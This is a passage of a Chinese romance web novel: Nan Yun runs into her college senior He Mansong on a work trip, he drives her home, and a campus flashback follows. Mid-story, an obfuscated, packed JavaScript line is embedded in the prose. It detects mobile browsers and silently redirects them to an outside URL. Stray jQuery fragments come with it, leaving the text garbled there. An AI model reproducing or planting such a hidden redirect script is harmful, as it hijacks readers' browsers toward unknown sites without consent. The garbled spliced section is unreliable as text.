南云的胃口顿时小了一半,谈笑间总感觉背后有道视线投射在自己身上。
手机一直背面朝上盖在桌上,她过了段时间才想起来看消息。
未读消息只有两条,都是来自何曼松的。
他的头像还和大学时候的一样,是一棵松树,这么多年过去,属于他的聊天框又出现在最顶上一条,南云有点不习惯。
何曼松:你来北城了?
人都看见了,这条问得莫名其妙。
何曼松:出差吗,待几天。
南云意识到何曼松可能不知道她要去年会。
这样也好,安安静静看完就走,反正就是去当个观众促进一下合作的。
南云回复他:和同事一起来见客户,就待两三天。
后来何曼松没有再发来新消息,南云专心吃起饭来。
钟若茹几杯酒下去,脑子已经飘在天空飞了,硬扯着南云要喂她吃。
南云被她搂住脖子,一边不停说着好好好安抚她,一边控制住钟若茹乱动的手,叉了一块牛排往嘴里送。
一不留神,牛排没被叉住,顺着南云的衣服滑到裙子上,留下一路黑椒汁的印记。
这趟出差前她应该看看黄历的。
南云急忙站起来,将身上的牛肉抖掉,但身上的印渍用湿巾也擦不干净,反而又多了水渍,只能拿干洗才能拯救了。
出门在外人总是注意形象的,现在衣服成了这样,她还真有点欲哭无泪。
现在也吃得差不多了,南云打算趁机提议结束饭局。
齐枫很有眼力见地脱下外套:“要不穿我的。”
“南云。”
何曼松突然出现在她身边:“吃完了吗?”
南云怔忪着点点头,何曼松示意她一起扶起钟若茹,说:“我送你们回酒店,我这件外套你挂胳膊上,可以挡一下衣服,你们的东西给我。”
齐枫在旁边问:“这位大哥,您是?”
钟若茹拿手一指:“我知道!我看到过你的照片,你是南云的那个,嗝,大、客、户。”
南云眼皮一跳,幸好钟若茹还有一丝理智,没有说出别的惊世骇俗的词来介绍何曼松。
此地不宜久留,南云朝齐枫说:“这是我朋友,他刚好也在这吃饭。茹姐已经醉了,明天还得来你们公司开会,要不今天先到这吧。”
见南云坚持,齐枫只好说:“行,你放心的话就行,到酒店了和我说一句。”
“好,这个账单我等会出去的时候——”
“我已经付了。”
何曼松听见齐枫那句“你放心的话就行”,心里有点不爽,这会略带催促起来。
还好钟若茹还能走,南云带着她出了酒吧。
何曼松将她们随身的包搁置好,替她们开了车门又关,才坐上驾驶位。
“酒店地址发我。”
“哦哦,好。”
不知道是不是因为喝了酒,南云对于今晚和何曼松的相遇还有点没反应过来,更别说现在坐上了他的车。
钟若茹倒是适应得快,一上车就闷头睡起觉来,
开了导航后,行驶到一个红灯,车子停了下来。
何曼松的食指一下下敲打着方向盘,出声问道:“刚才和你们喝酒的是这次来北城见的客户?”
他尽量让自己问得很自然,像是没有很感兴趣的随口一问。
南云:“对Ash杂志的。”
何曼松了然:“挺有名的,我今天也是来见杂志社的,公司的新业务需要流量曝光。”
他转而又问:“真的只待两三天?周五有时间吗。”
“有安排了。”
这也不算说谎吧,南云心想。
何曼松不再追问,伸手将电台里钢琴曲的声音调大了一点。
南云瞥见了他手腕上,以前月饼不小心挠伤他留下的疤。
一小条月白色的直线,像是流星,在白皙的腕骨上有点显眼。
她瞬间感觉心软了一下。
“你觉得北城怎么样?”何曼松说。
南云思索了会:“虽然还没待太久,但我觉得还不错。”
“从下飞机接我们的司机起,碰到的所有人都很热情。天气干燥了些,但是阳光很好,不像南城马上就到了回南天,潮潮的。路边的柳树很好看,到处都很热闹,有生活气息。”
南云写作文似的说着这半天的感受,何曼松也不嫌烦,静静地听着,偶尔搭几句嘴。
等南云说完,何曼松含笑说:“和我之前同你形容的是不是差不多。”
南云:“是。”
“但是现在自己来体验,和只听你说是完全不一样的。”她补充道。
车很快开到了酒店楼下,何曼松问南云要不要帮忙,南云回绝了,自己挎着俩包挽起钟若茹。
何曼松叮嘱说:“我外卖下单了两碗牛奶燕窝送到了酒店前台,等会你记得拿,明后几天就不要再喝酒了,对胃不好。”
大学有次定向越野,南云早饭吃了块隔夜的蛋糕,还没跑完全程肠胃炎就犯了,那次是何曼松把她送去了医院。
“谢谢,下次来南城,我请你吃饭。”
她已经蹭了何曼松好几顿饭了。
南云进了酒店,上电梯前,她透过酒店大门看见何曼松还倚靠在车前,隔着来来去去的行人看向她。
他正打着电话,嘴巴一张一合,冒着水雾。
……
第二天酒醒后,钟若茹只记得是何曼松送她们回去的。
前因后果是通通想不起来了。
她边吃酒店的早餐,边揉着太阳穴说:“不该喝这么多的,连精彩片段都错过了。”
南云不语,给她端了杯咖啡提神。
到了早上十点,两人准时坐在Ash的会议室里开会。
今天的行程安排得很满,上午和Ash开完会,下午南云找个咖啡厅把ppt初版做出来,明天给吴婷看一遍,钟若茹则是去见其他客户。
中午齐枫请两人在Ash的餐厅吃饭,说是昨晚没请客成,一定要补上。
虽然只是公司内部的一个员工餐厅,但Ash的菜品还算丰富,齐枫推荐的乌冬面和咖喱饭都很好吃。
“昨晚那个是你在北城的朋友吗?”齐枫递来两杯蔬果汁,问道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475457|169958||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南云说:“是,我本科的学长。”
齐枫:“真是不好意思,那个酒吧不便宜,让他破费了。要不你把他联系方式给我,我给他转过去?”
南云摆摆手:“没事,他有钱。再说你今天中午这不是请过客了,他那边下次我找个时间请回去就行。”
齐枫神情黯然了一瞬:“好,听你的。”
“我昨晚好像瞟到了大客户开的宾利。”钟若茹偷偷和南云说,“又是请客吃东西,又是开车送你,说对你没有所图,狗都不信!”
南云:“你不是什么都忘了吗,我看记得挺清楚的。”
-
何曼松以前也很爱请南云吃饭。
南云发现,自打在天气学概览成为组友之后,在路上偶遇何曼松的频率直线上升。
当然,也可能是在这之前就经常碰见,只是南云不认识这张脸,不会留下印象。
有次上完选修课,辅导员喊南云去办公室一趟。
那时候刚到十月,南云是班上的文体委员,猜到辅导员是找她聊迎新晚会的事。
南云从读书起,就有个毛病,那就是怕老师,大概是因为她妈方芳也是老师,从小对她管教严厉,令她觉得老师说的话那就是圣旨。
自她迈进辅导员的办公室,嘴巴就不自觉地抿紧,双手交织在一起,整个人的气质都柔顺了很多。
辅导员在办公位上和身旁坐着的人说话,那人正是早上还和她上了同一节课的何曼松。
明明同一时间下的课,他怎么早就出现在了这里似的。
南云无视了他,等两人聊完了,她微笑着向辅导员问道:“老师,您找我什么事?”
“啊南云你来了,是这样的,下个月院里会办迎新晚会,大一和大二每个班都得出个节目,大三大四呢就不做硬性要求,自主报名就行了,你回去问问你们班同学有没有想表演的,出个节目。”
“好,那老师还有别的事吗?”南云的笑容保持着乖巧的弧度,嗓音都甜美了好几分。
辅导员摆摆手说:“没事了,你先回去吧。”
“好的,老师再见。”
南云走出办公室,掩上门,长舒一口气。
十月的南城太阳依旧毒辣,南云撑开防晒伞,在太阳的暴晒下走了十几分钟,才终于走到了宿舍楼下,晒得她脸都打皱了。
那天中午她特意点了她最爱的烤鱼饭,在空调房里吃一口香辣的烤鱼,再喝一口冰可乐,一切烦恼都能被抛至脑后。
外卖架上放了不少外卖,她一个个看过去,看到一个像是烤鱼外卖的红色袋子,凑上前去看订单信息是不是自己点的,突然旁边出现一只手把那个外卖袋拿走了。
订单小票在带起的风中一扬,南云刚好看到上面的手机尾号和自己的一模一样,包装袋上还写的烤鱼两个大字。
她又点开外卖软件,确认外卖员送达之后拍的照片也就是在那个位置,再看拿走外卖的人在这大热天戴着黑色帽子黑色口罩,还裹着个长袖外套,诚然一副偷外卖的样子。
难怪最近宿舍楼经常有人说自己的外卖被偷了,看起来这人是个惯犯。